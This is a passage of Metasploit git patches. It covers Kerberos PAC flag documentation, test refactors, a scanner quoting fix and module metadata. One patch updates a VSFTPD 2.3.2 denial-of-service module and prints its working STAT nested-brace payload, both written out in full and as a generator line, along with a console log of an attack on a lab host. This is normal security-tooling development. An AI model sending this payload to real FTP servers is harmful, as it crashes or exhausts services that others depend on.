@!attribute [rw] password_expired + # @return [BinData::Bit1] Specifies that the password age on the user has exceeded the maximum password age policy. bit1 :password_expired + + # @!attribute [rw] dont_require_preauth + # @return [BinData::Bit1] This bit is used by the Kerberos protocol. It indicates that the account is not required to present valid preauthentication data, as described in [RFC4120] section 7.5.2. bit1 :dont_require_preauth + # @!attribute [rw] use_des_key_only + # @return [BinData::Bit1] This bit is used by the Kerberos protocol. It indicates that only des-cbc-md5 or des-cbc-crc keys (as defined in [RFC3961]) are used in the Kerberos protocol for this account. bit1 :use_des_key_only + + # @!attribute [rw] not_delegated + # @return [BinData::Bit1] This bit is used by the Kerberos protocol. It indicates that the ticket-granting tickets (TGTs) of this account and the service tickets obtained by this account are not marked as forwardable or proxiable when the forwardable or proxiable ticket flags are requestedFor more information, see [RFC4120]. bit1 :not_delegated + + # @!attribute [rw] trusted_for_delegation + # @return [BinData::Bit1] This bit is used by the Kerberos protocol. It indicates that the "OK as Delegate" ticket flag (described in[RFC4120] section 2.8) is to be set. bit1 :trusted_for_delegation + + # @!attribute [rw] smartcard_required + # @return [BinData::Bit1] Specifies that the user can authenticate only with a smart card. bit1 :smartcard_required + # @!attribute [rw] encrypted_test_password_allowed + # @return [BinData::Bit1] Specifies that the cleartext password is to be persisted. bit1 :encrypted_test_password_allowed + + # @!attribute [rw] account_auto_lock + # @return [BinData::Bit1] Specifies that the account has been locked out. bit1 :account_auto_lock + + # @!attribute [rw] dont_expire_password + # @return [BinData::Bit1] Specifies that the maximum-password-age policy does not apply to this user. bit1 :dont_expire_password + + # @!attribute [rw] server_trust_account + # @return [BinData::Bit1] Specifies that the object is a DC. bit1 :server_trust_account + # @!attribute [rw] workstation_trust_account + # @return [BinData::Bit1] Specifies that the object is a member workstation or server. bit1 :workstation_trust_account + + # @!attribute [rw] interdomain_trust_account + # @return [BinData::Bit1] Specifies that the object represents a trust object. For more information about trust objects, see [MS-LSAD]. bit1 :interdomain_trust_account + + # @!attribute [rw] mns_logon_account + # @return [BinData::Bit1] This bit is ignored by clients and servers. bit1 :mns_logon_account + + # @!attribute [rw] normal_account + # @return [BinData::Bit1] Specifies that the user is not a computer object. bit1 :normal_account + # @!attribute [rw] temp_duplicate_account + # @return [BinData::Bit1] This bit is ignored by clients and servers. bit1 :temp_duplicate_account + + # @!attribute [rw] password_not_required + # @return [BinData::Bit1] Specifies that the password-length policy does not apply to this user. bit1 :password_not_required + + # @!attribute [rw] home_directory_required + # @return [BinData::Bit1] Specifies that the homeDirectory attribute is required. bit1 :home_directory_required + + # @!attribute [rw] account_disabled + # @return [BinData::Bit1] Specifies that the account is not enabled for authentication. bit1 :account_disabled end # https://learn.microsoft.com/en-us/openspecs/windows_protocols/ms-pac/1c0d6e11-6443-4846-b744-f9f810a504eb + # + # [MS-ADA3] https://learn.microsoft.com/en-us/openspecs/windows_protocols/ms-ada3/4517e835-3ee6-44d4-bb95-a94b6966bfb0 class UpnDnsInfoAttributes < BinData::Record endian :big @@ -132,7 +251,12 @@ class UpnDnsInfoAttributes < BinData::Record bit1 :"_reserved_#{self.fields.length}" end + # @!attribute [rw] sam_name_and_sid + # @return [BinData::Bit1] The UPN_DNS_INFO structure has been extended with the user account’s SAM Name and SID. bit1 :sam_name_and_sid + + # @!attribute [rw] upn_name_constructed + # @return [BinData::Bit1] The user account object does not have the userPrincipalName attribute ([MS-ADA3] section 2.349) set. A UPN constructed by concatenating the user name with the DNS domain name of the account domain is provided. bit1 :upn_name_constructed end diff --git a/spec/lib/rex/proto/kerberos/credential_cache/krb5_ccache_presenter_spec.rb b/spec/lib/rex/proto/kerberos/credential_cache/krb5_ccache_presenter_spec.rb index de2e2ef0e0f09..5e4354507e8fb 100644 --- a/spec/lib/rex/proto/kerberos/credential_cache/krb5_ccache_presenter_spec.rb +++ b/spec/lib/rex/proto/kerberos/credential_cache/krb5_ccache_presenter_spec.rb @@ -1,16 +1,5 @@ # frozen_string_literal: true -# Dummy BinData model -class DummyAttributes < BinData::Record - endian :little - - bit1 :foo - bit2 :bar - - bit3 :owner - bit2 :mandatory -end - RSpec.describe Rex::Proto::Kerberos::CredentialCache::Krb5CcachePresenter do subject do described_class.new(ccache) @@ -373,28 +362,27 @@ class DummyAttributes < BinData::Record end end - describe '#print_bindata_model' do + describe '#print_bin_data_model' do context 'when the bindata object has fields that are not 1bit' do it 'should raise an exception' do - binary_value = [7].pack('N') - dummy_attributes = DummyAttributes.read(binary_value) - expect { subject.print_bindata_model(dummy_attributes, bit_length: 32) }.to raise_error TypeError, 'Unsupported field type BinData::Bit2 - expected BinData::Bit1' + model = Rex::Proto::Kerberos::Pac::UserSessionKey.new + expect { subject.print_bin_data_model(model) }.to raise_error TypeError, 'Unsupported field type RubySMB::Dcerpc::Ndr::NdrFixArray for field :session_key - expected one of BinData::Bit1' end end - context 'when a bit length less than the number of flags is passed' do # better description + context 'when a bit length less than the number of flags is passed' do it 'should raise an exception' do - binary_value = [7].pack('N') + binary_value = [Rex::Proto::Kerberos::Pac::SE_GROUP_ALL].pack('N') group_attributes = Rex::Proto::Kerberos::Pac::GroupAttributes.read(binary_value) - expect { subject.print_bindata_model(group_attributes, bit_length: 2) }.to raise_error ArgumentError, 'Bit length(2) should not be less that the number of flags(32) within the BinData model' + expect { subject.print_bin_data_model(group_attributes, bit_length: 2) }.to raise_error ArgumentError, 'Not implemented. Bit length(2) should equal the bit length of the model 32' end end context 'when passed GroupAttributes' do - it 'should return formatted flag descriptions for GROUP_MEMBERSHIP flags with RESOURCE set' do - binary_value = [536870912].pack('N') + it 'should format flags when the SE_GROUP_RESOURCE flags are set' do + binary_value = [Rex::Proto::Kerberos::Pac::SE_GROUP_RESOURCE].pack('N') group_attributes = Rex::Proto::Kerberos::Pac::GroupAttributes.read(binary_value) - expect(subject.print_bindata_model(group_attributes, bit_length: 32)).to match_table <<~TABLE + expect(subject.print_bin_data_model(group_attributes)).to match_table <<~TABLE ..1. .... .... .... .... .... .... .... Resource: The RESOURCE bit is SET .... .... .... .... .... .... .... 0... Owner: The OWNER bit is NOT SET .... .... .... .... .... .... .... .0.. Enabled: The ENABLED bit is NOT SET @@ -403,10 +391,10 @@ class DummyAttributes < BinData::Record TABLE end - it 'should return formatted flag descriptions for GROUP_MEMBERSHIP flags with ENABLED, ENABLED_BY_DEFAULT and MANDATORY set' do - binary_value = [7].pack('N') + it 'should format flags when the SE_GROUP_MANDATORY | SE_GROUP_ENABLED_BY_DEFAULT | SE_GROUP_ENABLED flags are set' do + binary_value = [Rex::Proto::Kerberos::Pac::SE_GROUP_ALL].pack('N') group_attributes = Rex::Proto::Kerberos::Pac::GroupAttributes.read(binary_value) - expect(subject.print_bindata_model(group_attributes, bit_length: 32)).to match_table <<~TABLE + expect(subject.print_bin_data_model(group_attributes)).to match_table <<~TABLE ..0. .... .... .... .... .... .... .... Resource: The RESOURCE bit is NOT SET .... .... .... .... .... .... .... 0... Owner: The OWNER bit is NOT SET .... .... .... .... .... .... .... .1.. Enabled: The ENABLED bit is SET @@ -415,10 +403,10 @@ class DummyAttributes < BinData::Record TABLE end - it 'should return formatted flag descriptions for GROUP_MEMBERSHIP flags with OWNER set' do - binary_value = [8].pack('N') + it 'should format flags when the SE_GROUP_OWNER flag is set' do + binary_value = [Rex::Proto::Kerberos::Pac::SE_GROUP_OWNER].pack('N') group_attributes = Rex::Proto::Kerberos::Pac::GroupAttributes.read(binary_value) - expect(subject.print_bindata_model(group_attributes, bit_length: 32)).to match_table <<~TABLE + expect(subject.print_bin_data_model(group_attributes)).to match_table <<~TABLE ..0. .... .... .... .... .... .... .... Resource: The RESOURCE bit is NOT SET .... .... .... .... .... .... .... 1... Owner: The OWNER bit is SET .... .... .... .... .... .... .... .0.. Enabled: The ENABLED bit is NOT SET @@ -432,7 +420,7 @@ class DummyAttributes < BinData::Record it 'should return formatted user descriptions for nothing being set' do binary_value = [0].pack('N') user_attributes = Rex::Proto::Kerberos::Pac::UserFlagAttributes.read(binary_value) - expect(subject.print_bindata_model(user_attributes, bit_length: 32)).to match_table <<~TABLE + expect(subject.print_bin_data_model(user_attributes)).to match_table <<~TABLE .... .... .... .... ..0. .... .... .... Used Lmv2 Auth And Ntlmv2 Session Key: The USED_LMV2_AUTH_AND_NTLMV2_SESSION_KEY bit is NOT SET .... .... .... .... ...0 .... .... .... Used Lmv2 Auth And Session Key: The USED_LMV2_AUTH_AND_SESSION_KEY bit is NOT SET .... .... .... .... .... 0... .... .... Used Ntlmv2 Auth And Session Key: The USED_NTLMV2_AUTH_AND_SESSION_KEY bit is NOT SET @@ -451,7 +439,7 @@ class DummyAttributes < BinData::Record it 'should return formatted user descriptions for MACHINE_ACCOUNT being set' do binary_value = [32].pack('N') user_attributes = Rex::Proto::Kerberos::Pac::UserFlagAttributes.read(binary_value) - expect(subject.print_bindata_model(user_attributes, bit_length: 32)).to match_table <<~TABLE + expect(subject.print_bin_data_model(user_attributes)).to match_table <<~TABLE .... .... .... .... ..0. .... .... .... Used Lmv2 Auth And Ntlmv2 Session Key: The USED_LMV2_AUTH_AND_NTLMV2_SESSION_KEY bit is NOT SET .... .... .... .... ...0 .... .... .... Used Lmv2 Auth And Session Key: The USED_LMV2_AUTH_AND_SESSION_KEY bit is NOT SET .... .... .... .... .... 0... .... .... Used Ntlmv2 Auth And Session Key: The USED_NTLMV2_AUTH_AND_SESSION_KEY bit is NOT SET @@ -470,7 +458,7 @@ class DummyAttributes < BinData::Record it 'should return formatted user descriptions for USED_LMV2_AUTH_AND_NTLMV2_SESSION_KEY, NO_ENCRYPTION and GUEST being set' do binary_value = [8195].pack('N') user_attributes = Rex::Proto::Kerberos::Pac::UserFlagAttributes.read(binary_value) - expect(subject.print_bindata_model(user_attributes, bit_length: 32)).to match_table <<~TABLE + expect(subject.print_bin_data_model(user_attributes)).to match_table <<~TABLE .... .... .... .... ..1. .... .... .... Used Lmv2 Auth And Ntlmv2 Session Key: The USED_LMV2_AUTH_AND_NTLMV2_SESSION_KEY bit is SET .... .... .... .... ...0 .... .... .... Used Lmv2 Auth And Session Key: The USED_LMV2_AUTH_AND_SESSION_KEY bit is NOT SET .... .... .... .... .... 0... .... .... Used Ntlmv2 Auth And Session Key: The USED_NTLMV2_AUTH_AND_SESSION_KEY bit is NOT SET @@ -489,7 +477,7 @@ class DummyAttributes < BinData::Record it 'should return formatted user descriptions for every flag being set' do binary_value = [16363].pack('N') user_attributes = Rex::Proto::Kerberos::Pac::UserFlagAttributes.read(binary_value) - expect(subject.print_bindata_model(user_attributes, bit_length: 32)).to match_table <<~TABLE + expect(subject.print_bin_data_model(user_attributes)).to match_table <<~TABLE .... .... .... .... ..1. .... .... .... Used Lmv2 Auth And Ntlmv2 Session Key: The USED_LMV2_AUTH_AND_NTLMV2_SESSION_KEY bit is SET .... .... .... .... ...1 .... .... .... Used Lmv2 Auth And Session Key: The USED_LMV2_AUTH_AND_SESSION_KEY bit is SET .... .... .... .... .... 1... .... .... Used Ntlmv2 Auth And Session Key: The USED_NTLMV2_AUTH_AND_SESSION_KEY bit is SET @@ -510,7 +498,7 @@ class DummyAttributes < BinData::Record it 'should return formatted user account descriptions for nothing being set' do binary_value = [0].pack('N') useraccount_attributes = Rex::Proto::Kerberos::Pac::UserAccountAttributes.read(binary_value) - expect(subject.print_bindata_model(useraccount_attributes, bit_length: 32)).to match_table <<~TABLE + expect(subject.print_bin_data_model(useraccount_attributes)).to match_table <<~TABLE .... .... ..0. .... .... .... .... .... Use Aes Keys: The USE_AES_KEYS bit is NOT SET .... .... ...0 .... .... .... .... .... Partial Secrets Account: The PARTIAL_SECRETS_ACCOUNT bit is NOT SET .... .... .... 0... .... .... .... .... No Auth Data Required: The NO_AUTH_DATA_REQUIRED bit is NOT SET @@ -539,7 +527,7 @@ class DummyAttributes < BinData::Record it 'should return formatted user account descriptions for DONT_EXPIRE_PASSWORD and NORMAL_ACCOUNT being set' do binary_value = [528].pack('N') useraccount_attributes = Rex::Proto::Kerberos::Pac::UserAccountAttributes.read(binary_value) - expect(subject.print_bindata_model(useraccount_attributes, bit_length: 32)).to match_table <<~TABLE + expect(subject.print_bin_data_model(useraccount_attributes)).to match_table <<~TABLE .... .... ..0. .... .... .... .... .... Use Aes Keys: The USE_AES_KEYS bit is NOT SET .... .... ...0 .... .... .... .... .... Partial Secrets Account: The PARTIAL_SECRETS_ACCOUNT bit is NOT SET .... .... .... 0... .... .... .... .... No Auth Data Required: The NO_AUTH_DATA_REQUIRED bit is NOT SET From ab0b8b8274bacb6d4cf8df6cc63c29a229883a04 Mon Sep 17 00:00:00 2001 From: RadioLogic Date: Wed, 17 May 2023 11:48:09 -0400 Subject: [PATCH 136/415] Ran msftidy on module --- modules/auxiliary/dos/ftp/vstfpd_232.rb | 4 ++-- 1 file changed, 2 insertions(+), 2 deletions(-) diff --git a/modules/auxiliary/dos/ftp/vstfpd_232.rb b/modules/auxiliary/dos/ftp/vstfpd_232.rb index fff7605444e5a..d696c14665838 100644 --- a/modules/auxiliary/dos/ftp/vstfpd_232.rb +++ b/modules/auxiliary/dos/ftp/vstfpd_232.rb @@ -11,9 +11,9 @@ def initialize(info = {}) super( update_info( info, - 'Name' => 'VSFTPD <= 2.3.2 Denial of Service', + 'Name' => 'VSFTPD 2.3.2 Denial of Service', 'Description' => %q{ - This module triggers a Denial of Service condition in the VSFTPD server in versions before 2.3.3. So far, it has been tested on 2.3.2. + This module triggers a Denial of Service condition in the VSFTPD server in versions before 2.3.3. So far, it has been tested on 2.3.2, but is reported to work on 2.3.0 as well. }, 'Author' => [ 'Nick Cottrell ', 'Anna Graterol ', 'Mana Mostaani ' ], 'License' => MSF_LICENSE, From 62f48c59339f6b3801d681e81d6fd6805cf598e7 Mon Sep 17 00:00:00 2001 From: RadioLogic Date: Wed, 17 May 2023 12:01:59 -0400 Subject: [PATCH 137/415] Updated vsftpd_232 documentation --- .../modules/auxiliary/dos/ftp/vsftpd_232.md | 17 +++++++++-------- 1 file changed, 9 insertions(+), 8 deletions(-) diff --git a/documentation/modules/auxiliary/dos/ftp/vsftpd_232.md b/documentation/modules/auxiliary/dos/ftp/vsftpd_232.md index 896b1c3c453c7..40827d59415b2 100644 --- a/documentation/modules/auxiliary/dos/ftp/vsftpd_232.md +++ b/documentation/modules/auxiliary/dos/ftp/vsftpd_232.md @@ -19,16 +19,17 @@ This is an auxiliary for DOSing a VSFTPD server from version 2.3.3 and below. msf6 > use auxiliary/dos/ftp/vsftpd_232 msf6 auxiliary(dos/ftp/vstfpd_232) > set rhosts 192.168.56.106 rhosts => 192.168.56.106 -msf6 auxiliary(dos/ftp/vstfpd_232) > set verbose true -verbose => true +msf6 auxiliary(dos/ftp/vstfpd_232) > set ftpuser anonymous +ftpuser => anonymous +msf6 auxiliary(dos/ftp/vstfpd_232) > set ftppass '' +ftppass => msf6 auxiliary(dos/ftp/vstfpd_232) > run [*] Running module against 192.168.56.106 -[*] 192.168.56.106:21 - Connecting to FTP server 192.168.56.106:21... -[*] 192.168.56.106:21 - Connected to target FTP server. -[*] 192.168.56.106:21 - Authenticating as anonymous with password ... -[*] 192.168.56.106:21 - Sending password... -[*] 192.168.56.106:21 - Payload being sent: STAT {{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{.}}}]}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}]}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}]}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}]}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}]}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}]}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}} -[*] 192.168.56.106:21 - DDOS ended. +[*] 192.168.56.106:21 - sending payload +............................................................................................. +[+] 192.168.56.106:21 - Stream was cut off abruptly. Appears DOS attack succeeded. [*] Auxiliary module execution completed ``` + +You can verify that it works by either attempting to ftp into the machine after or checking htop on the machine. If the CPU is at max capacity, that would be due to the DOS. From 6882a7cc60f8394f3d0b4744c8de345c401fda6c Mon Sep 17 00:00:00 2001 From: RadioLogic Date: Wed, 17 May 2023 12:05:40 -0400 Subject: [PATCH 138/415] Shortened payload to be readable --- modules/auxiliary/dos/ftp/vstfpd_232.rb | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/modules/auxiliary/dos/ftp/vstfpd_232.rb b/modules/auxiliary/dos/ftp/vstfpd_232.rb index d696c14665838..6ce3e31dfe2be 100644 --- a/modules/auxiliary/dos/ftp/vstfpd_232.rb +++ b/modules/auxiliary/dos/ftp/vstfpd_232.rb @@ -71,7 +71,7 @@ def check def run fail_with(Failure::NotVulnerable, 'Target is not vulnerable.') if check != Exploit::CheckCode::Appears - payload = 'STAT {{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{.}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}' + payload = 'STAT ' + '{{*},' * 487 + '{.}' + '}' * 487 vprint_status("Payload being sent: #{payload}") print_status('sending payload') From 21273648a454eb2949b10987fc6370701cb28ca2 Mon Sep 17 00:00:00 2001 From: RadioLogic Date: Wed, 17 May 2023 12:39:02 -0400 Subject: [PATCH 139/415] Fixed response using double quotes --- modules/auxiliary/scanner/http/archer_c7_traversal.rb | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/modules/auxiliary/scanner/http/archer_c7_traversal.rb b/modules/auxiliary/scanner/http/archer_c7_traversal.rb index 9f98065f19e31..02876fb605ced 100644 --- a/modules/auxiliary/scanner/http/archer_c7_traversal.rb +++ b/modules/auxiliary/scanner/http/archer_c7_traversal.rb @@ -50,7 +50,7 @@ def run_host(_ip) fail_with(Failure::Unreachable, 'Connection failed') unless res - fail_with(Failure::NotFound, "The file does not appear to exist") if res.body.to_s.include?('Error 404 requested page cannot be found') + fail_with(Failure::NotFound, 'The file does not appear to exist') if res.body.to_s.include?('Error 404 requested page cannot be found') # We don't save the body by default, because there's also other junk in it. # But we still have a SAVE option just in case From d4b9473294764a536b431360702f1b66fcf0b630 Mon Sep 17 00:00:00 2001 From: Grant Willcox Date: Wed, 17 May 2023 15:03:05 -0500 Subject: [PATCH 140/415] Ignore .solargraph.yml config file --- .gitignore | 2 ++ 1 file changed, 2 insertions(+) diff --git a/.gitignore b/.gitignore index 5095757ae6064..818bc0f616a26 100644 --- a/.gitignore +++ b/.gitignore @@ -19,6 +19,8 @@ Gemfile.local.lock .yardoc # Mac OS X files .DS_Store +# Ignore Solargraph config file +.solargraph.yml # database config for testing config/database.yml # target config file for testing From 4df7551759e9689a500edcce4e03f3bed7105916 Mon Sep 17 00:00:00 2001 From: Metasploit Date: Wed, 17 May 2023 19:11:48 -0500 Subject: [PATCH 141/415] automatic module_metadata_base.json update --- db/modules_metadata_base.json | 54 +++++++++++++++++++++++++++++++++++ 1 file changed, 54 insertions(+) diff --git a/db/modules_metadata_base.json b/db/modules_metadata_base.json index a98617c4e0108..ef759d7214198 100644 --- a/db/modules_metadata_base.json +++ b/db/modules_metadata_base.json @@ -56857,6 +56857,60 @@ ], "needs_cleanup": true }, + "exploit_aix/local/invscout_rpm_priv_esc": { + "name": "invscout RPM Privilege Escalation", + "fullname": "exploit/aix/local/invscout_rpm_priv_esc", + "aliases": [ + + ], + "rank": 600, + "disclosure_date": "2023-04-24", + "type": "exploit", + "author": [ + "Tim Brown", + "bcoles " + ], + "description": "This module exploits a command injection vulnerability in IBM AIX\n invscout set-uid root utility present in AIX 7.2 and earlier.\n\n The undocumented -rpm argument can be used to install an RPM file;\n and the undocumented -o argument passes arguments to the rpm utility\n without validation, leading to command injection with effective-uid\n root privileges.\n\n This module has been tested successfully on AIX 7.2.", + "references": [ + "CVE-2023-28528", + "URL-https://talosintelligence.com/vulnerability_reports/TALOS-2023-1691" + ], + "platform": "AIX,Unix", + "arch": "cmd", + "rport": null, + "autofilter_ports": [ + + ], + "autofilter_services": [ + + ], + "targets": [ + "Automatic" + ], + "mod_time": "2023-05-17 20:17:55 +0000", + "path": "/modules/exploits/aix/local/invscout_rpm_priv_esc.rb", + "is_install_path": true, + "ref_name": "aix/local/invscout_rpm_priv_esc", + "check": true, + "post_auth": false, + "default_credential": false, + "notes": { + "Stability": [ + "crash-safe" + ], + "Reliability": [ + "repeatable-session" + ], + "SideEffects": [ + "ioc-in-logs" + ] + }, + "session_types": [ + "shell", + "meterpreter" + ], + "needs_cleanup": null + }, "exploit_aix/local/xorg_x11_server": { "name": "Xorg X11 Server Local Privilege Escalation", "fullname": "exploit/aix/local/xorg_x11_server", From 3e32c0e22d9e71ff472ba6fe491fb8e7a8e6e8ff Mon Sep 17 00:00:00 2001 From: adfoster-r7 Date: 